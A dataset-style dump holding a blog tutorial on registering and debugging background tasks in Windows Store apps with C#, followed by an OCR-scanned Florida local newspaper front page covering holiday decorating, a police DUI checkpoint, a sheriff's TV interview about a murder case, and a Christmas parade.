text
stringlengths
454
608k
url
stringlengths
17
896
dump
stringclasses
91 values
source
stringclasses
1 value
word_count
int64
101
114k
flesch_reading_ease
float64
50
104
When we are developing a Windows Store app, we may need to do something even if our application is suspended or closed; such as updating our live tile, showing a tile notification, syncing data or performing another specific action. Since Windows 8 is an operating system that emphasizes on power saving, we are not allowed to keep our application working in the background. Therefore, to have this functionality Windows 8 supports a background task system which allows us to define a background task (basically, our own lines of code) that will be executed periodically or when certain conditions are met. An example for this would be the Store application on the start screen, which periodically checks if there are updates to our installed apps, but does so when we have an internet connection. Before moving on to developing our application, there are a few key points we need to know about background tasks. Background tasks have CPU and network constraints, we can not execute code that takes a long time to complete in our background tasks. The network constraint is active only when the device is on battery, and it is not calculated in terms of bandwidth but the amount of battery used by the connection. The limits of these constraints change depending on the type of the background task used. If it is an application that needs to be frequently updated (such as a mail or VOIP app), the app will need to placed on the lockscreen but the background task will have a more relaxed resource management (2 seconds of CPU time). The catch is that the maximum number of apps that can be on the lockscreen at the same time is 7, so your user will need to add your app to the lockscreen in order your background task to work. If the application does not need to be updated that frequently, however, we can use a maintenance task, which doesn’t require the app to be on lockscreen and will be triggered based on certain conditions, but has a more restrict resource management (1 second of CPU time). Let’s start developing. We will make an application that registers a background task, and that background task will enter the date and time to the local storage every time it runs. Then, we will retrieve these times in our application to see when our background task has run. We’ll begin by opening up Visual Studio and creating a blank Windows Store App project. We will first prepare our interface. Let’s add a textbox to show the log, and two buttons, where one of them will register the background task and the other will refresh the log. <Grid Background="{StaticResource ApplicationPageBackgroundThemeBrush}"> <TextBox x: <Button x: <Button x: </Grid> Next, we will need to add a new project to our solution for the background task. Right click the solution, select “Add”, select “New Project”, and add a new Windows Runtime Component (other project types will not work). Right-click and delete the automatically generated Class1.cs file, then right-click to the BackgroundTaskProject and select “Add” -> “New Class”, and then name it BackgroundTask. Add the following code to the BackgroundTask.cs file: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Windows.ApplicationModel.Background; using Windows.Storage; namespace BackgroundTaskProject { public sealed class BackgroundTask : IBackgroundTask { public void Run(IBackgroundTaskInstance taskInstance) { BackgroundTaskDeferral deferral = taskInstance.GetDeferral(); addDateTime(); deferral.Complete(); } private void addDateTime() { ApplicationData applicationData = ApplicationData.Current; ApplicationDataContainer localSettings = applicationData.LocalSettings; if (localSettings.Values["datetime"] == null) { localSettings.Values["datetime"] = DateTime.Now.ToString(); } else { string tempString = localSettings.Values["datetime"].ToString(); tempString = tempString + "\n" + DateTime.Now.ToString(); localSettings.Values["datetime"] = tempString; } } } } Important Edit: If you are going to do some asynchronous work in your background task, such as connecting to a web service, you need to make your function in the background task return a Task and use the await keyword, or else your background task will work synchronously and can not do any async operations: namespace BackgroundTaskProject { public sealed class BackgroundTask : IBackgroundTask { public void Run(IBackgroundTaskInstance taskInstance) { BackgroundTaskDeferral deferral = taskInstance.GetDeferral(); await addDateTime(); deferral.Complete(); } async private Task addDateTime() { //Do async work } } } This code defines what we will run in our background task. Now we will need to prepare our application side. On the MainPage.xaml.cs, add the following code to the Click events of addBackgroundTaskButton and refreshLogButton: private void addBackgroundTaskButton_Click(object sender, RoutedEventArgs e) { BackgroundTaskBuilder builder = new BackgroundTaskBuilder(); builder.Name = "Date Time Background Task"; builder.TaskEntryPoint = "BackgroundTaskProject.BackgroundTask"; IBackgroundTrigger trigger = new TimeTrigger(15, false); builder.SetTrigger(trigger); IBackgroundTaskRegistration task = builder.Register(); } private void refreshLogButton_Click(object sender, RoutedEventArgs e) { ApplicationData applicationData = ApplicationData.Current; ApplicationDataContainer localSettings = applicationData.LocalSettings; if (localSettings.Values["datetime"] != null) { logTextBox.Text = localSettings.Values["datetime"].ToString(); } } In this code, you can see that we’ve added a background task that will run every 15 minutes. Make sure that you enter the “builder.TaskEntryPoint” correctly, this should point to our class which implements the IBackgroundTask interface. Since we are defining it as a string, this is a common place to make a mistake. Important Edit: We used TimeTrigger in this code example, which requires the application to be added to lockscreen. Instead, you can use MaintenanceTrigger which does not require your application to be on the lockscreen. Also keep in mind that if you use TimeTrigger, you should also add some code that prompts the user to add it to the lockscreen (which is not shown in this post). Our next step will be adding the reference of our background task project to our windows store app project. Right click references, select “Add New Reference”, and in the Solution section, select BackgroundTaskProject and click Ok. The last thing we will need to do is to open our package.appxmanifest file, select the Declarations tab, and add Background Tasks. As you notice, there are some red X marks indicating that we are missing something. Check the “Timer” checkbox and enter “BackgroundTaskProject.BackgroundTask” to the entry point textbox. Important Edit: If you are using a MaintenanceTrigger instead of TimeTrigger, select “System Event” instead of “Timer”. After filling these, you can see that there is still a red X in the Application UI tab. This is because a timer background task requires to be on the lockscreen to run, and our app needs to have a badge logo that will be shown on lockscreen. Select the Application UI tab, select “Badge” in Lock Screen Notifications combo box, and add a 24×24 badge logo (I’ve added a blank .png file). We are ready to start running our application, but before starting it, add a break point to our function in the background task so we can see if it is working as we wanted. Run the application, and click the “Add background task” button once. Then, to run our background task without actually waiting for 15 minutes, switch back to Visual Studio, click the little arrow near the Suspend button, and select the background task. When you click it, you will see that we will hit our previously defined break point. If you don’t have the suspend button, you can show it by selecting View -> Toolbars -> Debug Location. If you click refresh after this, you can see that our background task has worked. If you wish to check if it really works, add the app to lockscreen from the PC Settings, then open it and add background task again, close the app, and after some time open it again and refresh the log. 🙂 (My pc was turned off so that’s why the time jumped from 03:39 to 8:23 :)) You can get the source code here. One thought on “Using and Debugging Background Tasks in Windows Store Apps”
https://eren.ws/2013/03/13/using-and-debugging-background-tasks-in-windows-store-apps/?shared=email&msg=fail
CC-MAIN-2021-04
refinedweb
1,297
54.83
Closed Bug 578546 Opened 10 years ago Closed 10 years ago warning C4290: C++ exception specification ignored except to indicate a function is not __declspec(nothrow) Categories (Core :: XPCOM, defect) Tracking () mozilla2.0b8 People (Reporter: RyanVM, Assigned: RyanVM) References Details (Whiteboard: [build_warning]) Attachments (2 files, 1 obsolete file) Another big source of warning spam when building with MSVC10. In dist\include\mozilla\mozalloc.h(224) This also happens on MSVC8. Chris, any chance this can get any love? It makes it very hard to look for other warnings because this and bug 578540 are so overwhelmingly spammed to the console. Sorry, was on PTO. I won't be able to look at this until probably next week. If someone else wants to take a crack, the patch will likely reduce to making the |throw()| specifier disappear on MSVC. According to MSDN, we can otherwise kill this with #pragma warning( disable : 4290 ) Otherwise, do I understand your last comment to mean changing the conditions on the ifdef on line #207 of mozalloc.h? (In reply to comment #4) > Otherwise, do I understand your last comment to mean changing the conditions on > the ifdef on line #207 of mozalloc.h? > Sure, sounds good.. Therefore, we should just change the ifdef on line #207 to include both Android and MSVC to make this warning go away, and doing so shouldn't have any other effect since the throw() is effectively being disabled anyway right now. Starting at line 207, I made the following change: -#ifdef ANDROID +#if defined(ANDROID) || defined(_MSC_VER) /* * Android doesn't fully support exceptions, so its <new> header - * has operators that don't specify throw() at all. + * has operators that don't specify throw() at all. Also include MSVC + * to suppress build warning spam (bug 578546). */ Seems to have worked, except I'm realizing that we're also getting the same warning on lines 225 and 237 (on the MOZALLOC_THROW_BAD_ALLOC lines). However, I can't say with certainty that those are new and were just missed before due to the prevalence of the other warnings. Starting on line 217, we have: #ifdef MOZ_CPP_EXCEPTIONS #define MOZALLOC_THROW_BAD_ALLOC throw(std::bad_alloc) #else #define MOZALLOC_THROW_BAD_ALLOC MOZALLOC_THROW_IF_HAS_EXCEPTIONS #endif So my assumption is the MOZ_CPP_EXCEPTIONS is set for MSVC and is hence giving us the throw(std::bad_alloc) line. Not sure how to proceed on this one since I'm assuming MOZ_CPP_EXCEPTIONS is defined on purpose here. Assignee: nobody → ryanvm Status: NEW → ASSIGNED Attachment #487798 - Flags: review?(jones.chris.g) (In reply to comment #6) >. Not quite ... the MSDN page explains A function is declared using exception specification, which Visual C++ accepts but does not implement. Code with exception specifications that are ignored during compilation may need to be recompiled and linked to be reused in future versions supporting exception specifications. VC parses |throw([X])| syntax but ignores it thereafter. Technically these functions *are* __declspec(nothrow) but since we don't build with exceptions it shouldn't matter. MOZ_CPP_EXCEPTIONS shouldn't be set unless you build with --enable-cpp-exceptions, or are in code where it's forced on. Looks like MOZ_CPP_EXCEPTIONS is coming in from the IPC code setting ENABLE_CXX_EXCEPTIONS=1 which then adds MOZ_CPP_EXCEPTIONS=1 to CXXFLAGS. Another one of those situations where I don't understand the code well enough to know what we should do here. Forgot to say, rules.mk is what does the CXXFLAGS setting. This works. Hmm, I sure thought we had removed ENABLE_CXX_EXCEPTIONS=1 from the IPC stuff. bent, do you remember why we needed it in the first place? Ryan, I would try building without it. It'd be better to just remove that than work around it. hmm, ENABLE_CXX_EXCEPTIONS=1 is in more places than just the IPC code. Not sure if it's safe to remove them all... The only two I'm not sure about there are in lib7z and widget/src/windows. The others were added for ipc code or testing (or activex, which we don't care about). widget/src/windows is IPC-enabled now (not sure why ...) so I'm pretty sure we ENABLE_CXX_EXCEPTIONS=1 there for that too. widget/src/windows goes back to the original cvs-->hg merge. I'm going to try removing it and see what happens. However, I don't see anything within widget/src/windows actually using MOZ_CPP_EXCEPTIONS or MOZ_CXX_EXCEPTIONS, so I'm going to go ahead and just remove it as well. Warning C4290 is completely gone with this patch and the first one applied. Victory! Attachment #488020 - Attachment is obsolete: true Attachment #488379 - Flags: review?(jones.chris.g) Attachment #488379 - Flags: approval2.0? Comment on attachment 488379 [details] [diff] [review] Remove ENABLE_CXX_EXCEPTIONS from tree Looks awesome, if tryserver is happy :). Attachment #488379 - Flags: review?(jones.chris.g) → review+ Passes try with only the usual random orange suspects. Who can a2.0+ these patches? Status: ASSIGNED → RESOLVED Closed: 10 years ago Resolution: --- → FIXED Target Milestone: --- → mozilla2.0b8
https://bugzilla.mozilla.org/show_bug.cgi?id=578546
CC-MAIN-2020-45
refinedweb
823
65.22
TWRP for OnePlus 8 and 8 Pro TWRP is an open source, community project. TWRP development is done by a large support community with many people who are willing to answer questions and help people with their devices either through our IRC channel or on forums like xda-developers, and zulip-chat. A custom recovery is used for installing custom software on your device. This custom software can include smaller modifications like rooting your device or even replacing the firmware of the device with a completely custom "ROM". You can find the source code for TWRP at github.com/teamwin/android_bootable_recovery/ #include <std_disclaimer.h> /* * * We are us for messing up your device, we will laugh at you. * */ A11 support is still a WIP, keep that in mind. WORKING: Decryption ADB Sideload Format Data Flashing zips (kernels and ROM's) Backup/Restore MTP is working adb is working NOT WORKING wip Download: Instructions Windows Install oneplus usb driver, after disabling driver signature enforcement Download and install platform tools, unzip and add the folder to Windows path, "Settings > Advanced System Settings > Environment Variables > New" Example -> open command prompt, or powershell, and: fastboot flash recovery_a twrpname.img fastboot flash recovery_b twrpname.img Linux Download and add to path (.bashrc) platform-tools: export PATH=$HOME"/platform-tools:$PATH" dont forget udev rules if you're using ubuntu based distro: open a terminal and: fastboot flash recovery_a twrpname.img fastboot flash recovery_b twrpname.img that's all. Source Code: Credits: @bigbiff @Lossyx @Captain_Throwback for original tree @mauronofrio for original tree TWRP team (Thread is still WIP) Last edited: - -
https://forum.xda-developers.com/t/twrp-3-6-0-11-b1-instantnoodle-twrp-for-oneplus-8-8pro-beta.4341707/
CC-MAIN-2021-49
refinedweb
263
54.93
CFD Online Discussion Forums ( ) - OpenFOAM Programming & Development ( ) - - solver for sub-sonic flow ( ) nishant_hull August 24, 2009 14:05 solver for sub-sonic flow Hi Foamers I am trying to develop a subsonic solver based on original PISO for low mach number. I have started with the sonicFoam solver and changed that solver accordingly. Changes are: 1. The energy equation is coupled with the pressure equation to solve it iteratively. (as mentioned in the original PISO) 2. The pressure equation is changed and reference is taken from other sonicfoam solver. (like XiFoam, as suggested by Henery) 3. solution of continuity equation at the start of iteration is abandoned to preserve the pressure fluctuation at low ach number which would die otherwise. the source file is: #include "fvCFD.H" // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // int main(int argc, char *argv[]) { # include "setRootCase.H" # include "createTime.H" # include "createMesh.H" # include "readThermodynamicProperties.H" # include "readTransportProperties.H" # include "createFields.H" # include "initContinuityErrs.H" // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // Info<< "\nStarting time loop\n" << endl; for (runTime++; !runTime.end(); runTime++) { Info<< "Time = " << runTime.timeName() << nl << endl; # include "readPISOControls.H" # include "compressibleCourantNo.H" // removed solving of the continuity equation to make sure low pressure fluctuations do not die out //# include "rhoEqn.H" fvVectorMatrix UEqn ( fvm::ddt(rho, U) + fvm::div(phi, U) - fvm::laplacian(mu, U) ); solve(UEqn == -fvc::grad(p)); // --- PISO loop for (int corr=0; corr<nCorr; corr++) { // coupled energy and pressure equations !! solve ( fvm::ddt(rho, e) + fvm::div(phi, e) - fvm::laplacian(mu, e) == - p*fvc::div(phi/fvc::interpolate(rho)) + mu*magSqr(symm(fvc::grad(U))) ); T = e/Cv; psi = 1.0/(R*T); volScalarField rUA = 1.0/UEqn.A(); U = rUA*UEqn.H(); // pressure equation has been copied from other solvers solving for sub sonic flow cases for (int nonOrth=0; nonOrth<=nNonOrthCorr; nonOrth++) { fvScalarMatrix pEqn ( fvm::ddt(psi, p) + fvc::div(phi) - fvm::laplacian(rho*rUA, p) ); pEqn.solve(); phi = pEqn.flux(); } # include "compressibleContinuityErrs.H" U -= rUA*fvc::grad(p); U.correctBoundaryConditions(); } rho = psi*p; runTime.write(); Info<< "ExecutionTime = " << runTime.elapsedCpuTime() << " s" << " ClockTime = " << runTime.elapsedClockTime() << " s" << nl << endl; } Info<< "End\n" << endl; return(0); } I have tested this solver with plane channel flow and result are good. I have checked it with forward step problem also. Let me know if this solver is correct or not? or if there is any improvement you can suggest. with regards, Nishant Singh nishant_hull August 24, 2009 14:47 oops 1 Attachment(s) sorry.. see the file attached.! regards, Nishant nishant_hull August 25, 2009 10:04 can anybody have a look in it? can anybody have a look in it please? I am stucked here :( ehsan May 16, 2010 21:29 Hello, Would you please send me your new solver? (ehsan.roohi@gmail.com) I try to solve subsonic compressible channel flow but I can't. I put a tread under the name of subsonic Poiseelle flow for my problem. Thanks All times are GMT -4. The time now is 11:49 .
https://www.cfd-online.com/Forums/openfoam-programming-development/67713-solver-sub-sonic-flow-print.html
CC-MAIN-2017-09
refinedweb
489
53.88
Good evening cnet community. As tax season is breathing down my neck, I am in need of a tax software that I can use on my Mac. Is there an affordable and easy to use tax software out there for the Mac? Staff pick Good evening cnet community. As tax season is breathing down my neck, I am in need of a tax software that I can use on my Mac. Is there an affordable and easy to use tax software out there for the Mac? Total posts: 15 (Showing page 1 of 1) Did a quick Google Search by BeatleMegaFan - 1/7/09 9:03 PM In Reply to: Mac Tax Software by z1221 Thought this looked good. Enjoy. -BMF TurboTax by mrmacfixit - 1/8/09 8:18 AM In Reply to: Did a quick Google Search by BeatleMegaFan Mine came in the mail and was free. Does Federal but not State. P Switch to online by ericP3 - 1/10/09 7:18 AM In Reply to: Mac Tax Software by z1221 You might want to try the online versions.. I did 2 years ago and love it. They run on any machine PC or Mac, keep your data online from the previous year, are automatically updated, and less software filling up your hard drive. I've used both turbotax and HRblock online versions. Take a look Eric partial answer:) by da ben dan - 1/10/09 1:14 PM In Reply to: Mac Tax Software by z1221 Quicktax says that they will have a program later this month available for Mac users. But becareful of their website because it does not tell you that what is there right now is not Mac compatible. You don't find that out until after you have paid for it and try to download it. However, they were really good about refunding my money. BTW by da ben dan - 1/10/09 1:15 PM In Reply to: partial answer:) by da ben dan I am Canadian so my previous message is about income tax in Canada. TurboTax by onemoremile - 1/10/09 1:31 PM In Reply to: Mac Tax Software by z1221 I have used both TurboTax and TaxCut in the past and have found that TurboTax has become a little easier to use in the last couple of years. They are priced about the same and should both give you accurate results unless you have an extremely complicated tax return. If your income is under a certain limit you can use free online tax preparation software. You prepare your return and file it, all online and all for free. See TurboTax or Free Online if your taxes are simple by mactoids - 1/22/09 4:04 PM In Reply to: TurboTax by onemoremile I've used Tax software for the last 8 years and much prefer TurboTax over any others. I only switched to TaxCut for a single year - that was the year TurboTax pulled that incredibly stupid move with the activation scheme. I forget now which year that was but there was such customer base outrage that they quickly abandoned this idiocy - and I returned to using their software the following year. Having said that... if your taxes are simple, you may be better off just using the online services instead of purchasing stand-alone software. On line works by boni777 - 1/19/09 1:11 PM In Reply to: Mac Tax Software by z1221 Last year I did my taxes on TurboTax, whatever-the-other-big-one-is and one I had never heard of, Tax Slayer. I used the same info, and Tax Slayer gave me the largest refund. I don't remember what I paid, if anything, but it wasn't much. And, it doesn't matter what computer you have, since it's online. share my experience of using the tax software, by emily jackson - 12/28/09 12:26 AM In Reply to: Mac Tax Software by z1221 OH, I had the same experience as yours, but recommend by a friend,I have used TradeMax for a year, it's really easy-to-use and you can track your trade performance very conveniently. I don't know how many records you have, if you have large quantity of transactions, TradeMax support unlimited records. and its price is also very reasonable.. wish you good luck! tax by wilson-lee - 12/29/09 9:11 PM In Reply to: share my experience of using the tax software, by emily jackson Thank you for your recommendation. i will have a try..to use this software. TradeMax by emily jackson - 1/27/10 12:49 AM In Reply to: Mac Tax Software by z1221 I have used TradeMax for one year..It is a full featured tax software specifically designed for active investors or traders who have multiple accounts to manage their trade data, maximize their gain/loss strategy, prepare their Schedule D or Mark to Market form 4797 This is my requirement, TradeMax Match? by willishdo - 1/18/11 1:06 AM In Reply to: TradeMax by emily jackson record investment purchases and sales - record capital gains distributions and dividend distributions - maintain accurate records of purchases and cap gains to establish cost basis for tax purposes - I'd like to sell shares someday and take advantage of designating specific lots for sale instead of using average cost basis (this applies to taxable accounts only) - be able to calculate annual and/or YTD return (I don't mind doing this manually within the spreadsheet) for all accounts - get automatic price quote updates - track multiple accounts and multiple investments TurboTax by johnlh - 1/28/10 9:51 AM In Reply to: Mac Tax Software by z1221 I still think TurboTax is the gold standard of tax applications. It is very easy to use and is actually fun to do if you keep your records in good order. Doing your taxes also makes you aware of where your $$$ is going. I think they have a free site on the web you can use to do your taxes unless you have a more complicated return such as Home/Business combined. Software varies in different situation TurboTax may be more general and involves in a complete area. I also tried TradeMax, for an international traders, I think it work better and more specific, I do not spam here, just be more objective. Different software have their own unique features. So, I have both Total posts: 15 (Showing page 1 of 1) You are e-mailing the following post: Post Subject You are reporting the following post: Post Subject You are posting a reply to: Post Subject
http://forums.cnet.com/7723-6126_102-324063/mac-tax-software/
CC-MAIN-2014-35
refinedweb
1,115
66.17
Opened 8 years ago Closed 8 years ago Last modified 8 years ago #15518 closed New feature (fixed) Separate CSRF checks to function Description I have troubles with enabling CSRF check in some of my views because there is no function that would return True/False or raised an exception. My situation is like this: I have 2 views, one that is protected by CSRF and other one is not. Both views calls same rendering function which renders a form that leads to protected view. Problem is when first request ends at unprotected view, I have no CSRF_COOKIE in request.META and csrf_token template tag did not rendered one, so rendering returns a form that will always return CSRF reject page. Change History (8) comment:1 Changed 8 years ago by comment:2 Changed 8 years ago by I understand the problem, and it is a valid ticket. There is already a solution - django.views.decorators.csrf.requires_csrf_token However, this function is not documented, and therefore 'doesn't exist yet'. Once documented, I'll close this ticket. comment:3 Changed 8 years ago by comment:4 Changed 8 years ago by That is what I needed, but still there is no common way how to call CSRF check, if you want to do it manually. Code for view with CSRF check not provided by middleware/decorator looks from django.middleware.csrf import CsrfViewMiddleware, _get_new_csrf_key, _sanitize_token from django.views.decorators.csrf import csrf_view_exempt @csrf_view_exempt def some_view(request): if (...some_conditions...): result = CsrfViewMiddleware().process_view(request, lambda: None, None, None) # if None is returned, than it is OK if result: # Store data back to session to prevent their loss return result return ...some other response... We have view like this at endpoint for OpenID provider, but I do not like the way I have to call CSRF check. comment:5 Changed 8 years ago by An alternative way to do this is to split your view function into several views, or into a closures, and decorate with @csrf_protect: @csrf_view_exempt def some_view(request): # Any setup here, including vars that may be referenced in path_1 or path_2 @requires_csrf_token def path_1(request): # ... @csrf_protect def path_2(request): # ... if (...some_condition...): return path_1(request) else: return path_2(request) This seems like a reasonable solution to me, especially for something which is very definitely an edge case. If you have things that you need to do instead of immediately returning the 403 failure view, you can: - subclass CsrfViewMiddleware - override the _rejectmethod - make your own version of csrf_protectusing decorator_from_middleware. This suggests we should make _reject public by calling it reject. It's not at all clear to me what you are asking for here. I suspect the root of the problem is a misunderstanding about how to use the CSRF protection, as it's perfectly possible to have some views that are CSRF protected and others that are not. I suggest you ask on #django IRC or post a more complete description of your code to django-users for help.
https://code.djangoproject.com/ticket/15518
CC-MAIN-2019-13
refinedweb
498
60.14
To implement this program you need to download Apache POI library and have it in your build path (copy POI jars to lib folder). Program Flow - Get input excel files and get workbook instances - Get sheets from those workbooks - Get rows from each sheets with same index and compare them - Get columns from two selected above rows and compare them Example Observe below input files data. Here Row 3 - Column 2 is not matching so the two excel files are not equal. Expected Output Comparing Row 0 Cell 0 - Equal Cell 1 - Equal Cell 2 - Equal Cell 3 - Equal Row 0 - Equal Comparing Row 1 Cell 0 - Equal Cell 1 - Equal Cell 2 - Equal Cell 3 - Equal Row 1 - Equal Comparing Row 2 Cell 0 - Equal Cell 1 - Equal Cell 2 - Equal Cell 3 - Equal Row 2 - Equal Comparing Row 3 Cell 0 - Equal Cell 1 - Equal Row 3 - Not Equal The two excel sheets are Not Equal Cell 2 - NOt Equal Java Code import java.io.File; import java.io.FileInputStream; import org.apache.poi.hssf.usermodel.HSSFCell; CompareExcel { public static void main(String[] args) { try { // get input excel files FileInputStream excellFile1 = new FileInputStream(new File( "C:\\sheet1.xlsx")); FileInputStream excellFile2 = new FileInputStream(new File( "C:\\sheet); // Compare sheets if(compareTwoSheets(sheet1, sheet2)) { System.out.println("\n\nThe two excel sheets are Equal"); } else { System.out.println("\n\nThe two excel sheets are Not Equal"); } //close files excellFile1.close(); excellFile2.close(); } catch (Exception e) { e.printStackTrace(); } } // Compare Two Sheets public static boolean compareTwoSheets(XSSFSheet sheet1, XSSFSheet sheet2) { int firstRow1 = sheet1.getFirstRowNum(); int lastRow1 = sheet1.getLastRowNum(); boolean equalSheets = true; for(int i=firstRow1; i <= lastRow1; i++) { System.out.println("\n\nComparing Row "+i); XSSFRow row1 = sheet1.getRow(i); XSSFRow row2 = sheet2.getRow(i); if(!compareTwoRows(row1, row2)) { equalSheets = false; System.out.println("Row "+i+" - Not Equal"); break; } else { System.out.println("Row "+i+" - Equal"); } } return equalSheets; } // Compare Two Rows public static boolean compareTwoRows(XSSFRow row1, XSSFRow row2) { if((row1 == null) && (row2 == null)) { return true; } else if((row1 == null) || (row2 == null)) { return false; } int firstCell1 = row1.getFirstCellNum(); int lastCell1 = row1.getLastCellNum(); boolean equalRows = true; // Compare all cells in a row for(int i=firstCell1; i <= lastCell1; i++) { XSSFCell cell1 = row1.getCell(i); XSSFCell cell2 = row2.getCell(i); if(!compareTwoCells(cell1, cell2)) { equalRows = false; System.err.println(" Cell "+i+" - NOt Equal"); break; } else { System.out.println(" Cell "+i+" - Equal"); } } return equalRows; } // Compare Two Cells public static boolean compareTwoCells(XSSFCell cell1, XSSFCell cell2) { if((cell1 == null) && (cell2 == null)) { return true; } else if((cell1 == null) || (cell2 == null)) { return false; } boolean equalCells = false; int type1 = cell1.getCellType(); int type2 = cell2.getCellType(); if (type1 == type2) { if (cell1.getCellStyle().equals(cell2.getCellStyle())) { // Compare cells based on its type switch (cell1.getCellType()) { case HSSFCell.CELL_TYPE_FORMULA: if (cell1.getCellFormula().equals(cell2.getCellFormula())) { equalCells = true; } break; case HSSFCell.CELL_TYPE_NUMERIC: if (cell1.getNumericCellValue() == cell2 .getNumericCellValue()) { equalCells = true; } break; case HSSFCell.CELL_TYPE_STRING: if (cell1.getStringCellValue().equals(cell2 .getStringCellValue())) { equalCells = true; } break; case HSSFCell.CELL_TYPE_BLANK: if (cell2.getCellType() == HSSFCell.CELL_TYPE_BLANK) { equalCells = true; } break; case HSSFCell.CELL_TYPE_BOOLEAN: if (cell1.getBooleanCellValue() == cell2 .getBooleanCellValue()) { equalCells = true; } break; case HSSFCell.CELL_TYPE_ERROR: if (cell1.getErrorCellValue() == cell2.getErrorCellValue()) { equalCells = true; } break; default: if (cell1.getStringCellValue().equals( cell2.getStringCellValue())) { equalCells = true; } break; } } else { return false; } } else { return false; } return equalCells; } } This Example code is very usefully....Thanks Is this working? I got this error - at CompareExcel.main(CompareExcel.java:20) Caused by: java.lang.ClassNotFoundException: org.apache.xmlbeans.XmlObject You might have missed the XmlBeans jar file Can you please provide me the steps, hot to execute the above code in eclipse I have shared the eclipse project, download it and import to eclipse Hi, this same code workable eclipse? Desari Srinivas, is this project available for reuse? That is, do I have permission to use it and/or edit it? Thanks yes Thanks you Srinivas.... This code helped me a lot !!!!!!! Can you please tell me how to return the entire row if there is a mismatch in a particular cell in that row ? Instead of returning equalRows boolean value, return row1 and row2 in a arraylist hiiii Dasari u didnt answered of my post one error was coming and you also deleted it ...is some thing i did wrong so i apologiges... thanku u :-) Hey, I am not able to recreate your issue, please contact me on facebook...share your project and required files in facebook messenger ...my profile link --- row1 is matched or say failed. Can you help me here, Please. Thanks in advance. Hi I have a similar requirement. Can anyone help me please How to compare files in csv format , file to file, sheet to sheet etc we need to change the Font of matched row to GREEN in anyone excel sheet and if it does not matches then change Font to RED in the same excel sheet.Can you help me here, Please. Thanks in advance. I`ll use it because I like comparable vs comparator java and I'm used to working this way. The script needs to be compiled, and yes, I see some conditions. To understand the algorithm, I found several tutorials, perhaps this will be very useful for those who do not finally understand the sorting, and how I search for explanations. This comment has been removed by the author. This comment has been removed by the author. getCellType is deprecated .How do I modify it? im trying to implement extent report for the above code. im getting error when i put logstatu.PASS in else condition in comareTwoCells method.i m able to capture the failed report in extent report under if(!compareTwoCells(cell1, cell2) but not in else case- getting nullPointer Exception. if i remove logstatus.PASS statement from else block -- it works. Please help how to log the pass report here Compare two excels files and if we find any differences in one excel sheet that difference or row should be added in a given excel path and after adding the differences in that excel it should get highlighted ? Is it possible to add automatically ? hi srinivas, i have similar requirmenet but need some more add on, Like if any of the cell is not matched or mismatched , i need to Write into the one of the excel write that the cell is not matched in last of the row Please guide me. how to take comparison result in excel Hi Srinivas, can you please share the eclipse project ? Hi Srinivas, can you please share the eclipse project ?
http://blog.sodhanalibrary.com/2015/03/compare-excel-sheets-using-java.html?showComment=1453396320592
CC-MAIN-2020-05
refinedweb
1,081
59.4
1,453 Related Items Preceded by: Times-courier (Marianna, Fla. : 1947) Preceded by: Marianna Floridan Full Text 3. IInside Q Complete weather s oet Ctn 2 JobSeq 85 Pk.Sc, 004 L 'a hile *OR -GTN MIXED ADC 325 beatChiply. LIBIRARY OF' FLORIDA HISTORY PO BOX 117007 GAINESVILLE IL 3261 ]1-7007 STV Lisings...........3B 2 Sections, 16 Pages Volume 87 Number 236 -1 B A MEDIA GENERAL NEWSPAPER FLORIDAN Decking out the Russ House Sale to benefit foundation BY DEBORAH BUCKHALTER have started decorating the FLORIDAN STAFF WRITER Russ House for Christmas, a task the group has taken Members of the on for the past five or six Marianna Garden Club years. They're decorating the stair bannister with green- ery and lights, dressing up three Christmas trees inside and three or four on the porch, and otherwise mak- ing the house merry for the holiday. The work will be done just in time for a big shop- ping event set for Saturday, Dec. 4. See HOUSE, Page 7A > P I' WEDNESDAY Jo Hinton gets the Christmas decorations ready for the Russ House Tuesday. Mark Skinner/Floridan Ready for his close up Highway 73 North STAFF REPORT The Marianna Police Department is giving motorists fair warning. A traffic checkpoint will be set up tonight at 11 p.m. and will run through 2 a.m. Thursday on Highway 73 North. The focus will be on finding impaired drivers. The Wednesday and Thursday DUI checkpoint is the first of several police are planning over the next several months. In a press release about the stepped-up enforcement, Marianna Police Chief Hayes Baggett explained the reasons for it. "The Marianna Police Department is increasing its focus on impaired drivers because the research shows that this type of activity helps decrease alcohol and other drug related traffic crashes," he said in the news release. "We ask for your patience if you encounter one. of these checkpoints and apologize for any delay that it may cause, but traffic safety is important to us." The police chief asked that if residents see an impaired driver, call the Marianna Police Department at 526-3125. Information: WHO: Marianna Police Department; call 526-3125 for more info and if you see an impaired driver WHEN: 11 p.m. tonight thru 2 a.m. Thursday WHERE: Highway 73 North Jackson County Sheriff Lou Roberts adjusts his jacket while' getting ready for an interview with the television program "Snapped" Monday. Mark Skinner/Floridan Sheriff to feature on cable show BY DEBORAH BUCKHALTER FLORIDAN STAFF WRITER For his role in helping nab a woman who had her husband murdered, Jackson County Sheriff Lou Roberts was interviewed at his office Monday by staff from the Oxygen network's program "Snapped." The episode will likely air in the first week of February, according to pro- gram representative Michael Rogers, who interviewed Fields of infidelity in their Roberts and will narrate the relationship, looked on her show. Roberts was still the Marianna police chief when Dewayne Barrentine came to him in 2008 with suspicions about a woman he had dated. Barrentine's ex-girlfriend, Tausha Fields, had moved to Marianna long after her hus- band, Mitchell Wayne Kemp, disappeared in 2004. Barrentine, suspecting computer and unearned some e-mails from Kemp's family, asking Fields if she knew where Kemp was. Barrentine contacted Roberts, in part because Fields never replied to Kemp's family. He suspected from her lack of response that she had something to do with the disappearance. Roberts made some initial inquiries and could find no evidence that Kemp had resurfaced. He contacted authorities in Missouri, working with agen- cies in an investigation that led to the arrest and prosecu- tion of Fields on a murder charge. Gregory Morton con- fessed to pulling the trigger, saying Fields had him do it. Fields was apparently married to Morton while still married to Kemp. Police to focus on impaired drivers. Traffic checkpoint wi be on Marianna prepares for holiday parade Christmas Parade of Lights is set for this Friday STAFF REPORT The Marianna Christmas Parade of Lights is set for Friday, Dec. 3, the same day Santa Claus will arrive to talk with children in the gaze- bo at Confederate Park. Today is the sign-up deadline for those who want to be in the parade, Main Street Marianna Director Charlotte Brunner said in a news release. The parade begins at 5:30 p.m., with line-up at 4 p.m. on Daniels Street in front of the old Marianna High School. Parade participants are asked to decorate their entries with as many col- orful lights and decora- tions as possible. To sign up for the parade, call 718-1022 or download a parade form at the city's website'. Brunner is asking peo- ple to avoid parking on Lafayette Street during the parade in order to give everyone a better view of the parade. Market Street will be 